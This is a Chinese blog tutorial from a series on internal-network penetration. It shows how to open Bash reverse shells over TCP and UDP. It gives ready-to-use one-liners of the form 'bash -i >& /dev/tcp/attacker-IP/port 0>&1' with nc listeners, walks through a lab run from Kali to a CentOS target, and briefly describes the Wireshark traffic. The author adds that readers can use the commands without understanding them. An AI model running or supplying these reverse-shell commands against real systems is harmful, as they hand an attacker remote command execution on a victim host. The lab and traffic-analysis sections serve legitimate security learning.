[隧道代理] 隧道代理 — 反弹 Shell - Bash 反弹 Shell

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Bash 工具介绍

Shell 常被称为 "终端" 或 "壳",是人与内核之间的翻译官,而 Bash 则是 Linux 中默认使用的 Shell。

常用的 Bash 反弹 Shell 的命令如下:

bash 复制代码
 ### 走 TCP 协议,对应服务端接收使用 nc -lvvp <指定端口>
 bash -i >& /dev/tcp/攻击机_IP/攻击者端口 0>&1
 bash -i >& /dev/tcp/攻击机_IP/攻击者端口 0>&2
 ​
 ### 走 UDP 协议,对应服务端接收使用 nc -lup <指定端口>
 bash -i >& /dev/udp/攻击机_IP/攻击者端口 0>&1
 bash -i >& /dev/udp/攻击机_IP/攻击者端口 0>&2

简单介绍一下上面这些命令反弹 Shell 的原理,在介绍原理之前,我们先来了解一下构成这些命令的字符的含义(不了解原理也没关系,拿来用就完了):

  • bash -i => 打开一个交互式的 Shell

  • & => 该符号常用于区分文件和文件描述符。

    • >& 符号后面跟文件时,表示将标准输出和标准错误输出重定向至指定文件。

    • >& 符号后面跟数字时,表示后面的数字是文件描述符,如果不加 & 则系统会将后面的数字当作文件名称。

  • 数字 0, 1, 2 是 Linux Shell 下的文件描述符。

    • 0 => 表示标准输入

    • 1 => 表示标准输出

    • 2 => 表示标准错误输出

  • /dev/tcp or /dev/udp => 这两个文件是 Linux 中的特殊设备,可用于建立 Socket 连接,读写这俩文件就相当于是在 Socket 连接中传输数据。

在上面的命令中,bash -i >& /dev/tcp/攻击机_IP/攻击机端口 表示将标准输出和标准错误输出都重定向到攻击机指定端口中,此时,本地命令的执行结果在攻击机中就可以被看到。而 0>&1 或者 0>&2 则表示将标准输入重定向到了标准输出,而又由于前面标准输出已经重定向到了攻击机,因此标准输入也重定向到了攻击机中,此时攻击机又可以在 Shell 中看到自己输入的命令,结合二者,攻击机就得到了一个基本完善的 Shell,既能执行命令,又能看到命令的回显。

不过上面也说了,这只是一个基本完善的 Shell,像 VIM 这种命令是执行不了的,要想执行这种命令,我们就需要将反弹 Shell,升级为交互式 Shell,这个是后话,这里不说。

0x02:Bash 反向反弹 Shell - TCP 通道

Bash 反弹 Shell 只能用于反向连接,不能正向连接哦。对于正向连接与反向连接的使用场景,相信看过前面 NetCat(NC)反弹 Shell 的小伙伴都已经很清楚了,所以笔者这里就不费笔墨讲解场景了,直接开始实验。

0x0201:Bash 反向反弹 Shell --- 实验流程

复现环境

  • 攻击机 Kali Linux:IP 192.168.0.102

  • 靶机 CentOS7:IP 192.168.0.105

首先,在攻击机中执行如下命令,监听本机的 9999 端口,等待靶机自己上钩:

bash 复制代码
 nc -lvvp 9999

然后来到靶机中,执行如下命令,将自己的控制权移交给攻击者的 9999 端口:

bash 复制代码
 bash -i >& /dev/tcp/192.168.0.102/9999 0>&1

此时我们回到 Kali 攻击机中,可以看到靶机成功上线:

0x0202:Bash 反向反弹 Shell --- 流量分析

接下来我们就以上面我们通过 Bash 反弹 Shell 在靶机上执行 ifconfig 命令为例,来分析一下 Bash 反弹 Shell 的流量特征。

在 Kali Linux 中打开 WireShark,并重新在反弹 Shell 的界面中输入 ifconfig 后进行抓包:

如上,这就是走 TCP 通道的 Bash 反弹 Shell 的流量,没有任何加密,一眼就看出攻击者做了啥。

0x03:Bash 反向反弹 Shell - UDP 通道

Bash 使用 UDP 通道进行反弹 Shell 主要是给大家长长见识,实际的话,我感觉不太靠谱,因为我一条命令也执行不了(得自己写脚本改)。

0x0301:Bash 反向反弹 Shell --- 实验流程

复现环境

  • 攻击机 Kali Linux:IP 192.168.0.102

  • 靶机 CentOS7:IP 192.168.0.105

首先,在攻击机中执行如下命令,监听本机的 9999 端口,等待靶机自己上钩:

bash 复制代码
 nc -lup 9999

然后来到靶机中,执行如下命令,将自己的控制权移交给攻击者的 9999 端口:

bash 复制代码
 bash -i >& /dev/udp/192.168.0.102/9999 0>&1

此时我们回到 Kali 攻击机中,可以看到靶机成功上线,不过很可惜,一句完整的命令都执行不了:

0x0302:Bash 反向反弹 Shell --- 流量分析

接下来我们就以上面我们通过 Bash 反弹 Shell 在靶机上执行 w 命令为例,来分析一下走 UDP 的 Bash 反弹 Shell 的流量特征。

在 Kali Linux 中打开 WireShark,并重新在反弹 Shell 的界面中输入 w 后进行抓包:

如上,这就是走 UDP 通道的 Bash 反弹 Shell 的流量,没有任何加密,一眼就看出攻击者做了啥。虽然上面演示的这个有点鸡肋,但是如果你比较牛逼的话,使用 UDP 编的远控工具一般很难被防御,因为 TCP 会走三次握手,会给防火墙很多次机会,UDP 就不会了,直接过,可惜了,就是不稳定。

相关推荐
cdprinter5 小时前
信刻——安全生产音视频录音录像自动刻录备份归档管理系统
安全·自动化·音视频
应用市场5 小时前
构建自定义命令行工具 - 打造专属指令体
开发语言·windows·python
Dfreedom.6 小时前
一文掌握Python四大核心数据结构:变量、结构体、类与枚举
开发语言·数据结构·python·变量·数据类型
一半烟火以谋生6 小时前
Python + Pytest + Allure 自动化测试报告教程
开发语言·python·pytest
虚行6 小时前
C#上位机工程师技能清单文档
开发语言·c#
Forfun_tt6 小时前
upload-labs pass-19
web安全·网络安全
缘友一世6 小时前
文件上传漏洞和绕过技术
web安全·网络安全·渗透测试·文件上传漏洞·开发安全
小羊在睡觉6 小时前
golang定时器
开发语言·后端·golang
CoderCodingNo7 小时前
【GESP】C++四级真题 luogu-B4068 [GESP202412 四级] Recamán
开发语言·c++·算法
Larry_Yanan7 小时前
QML学习笔记(四十四)QML与C++交互:对QML对象设置objectName
开发语言·c++·笔记·qt·学习·ui·交互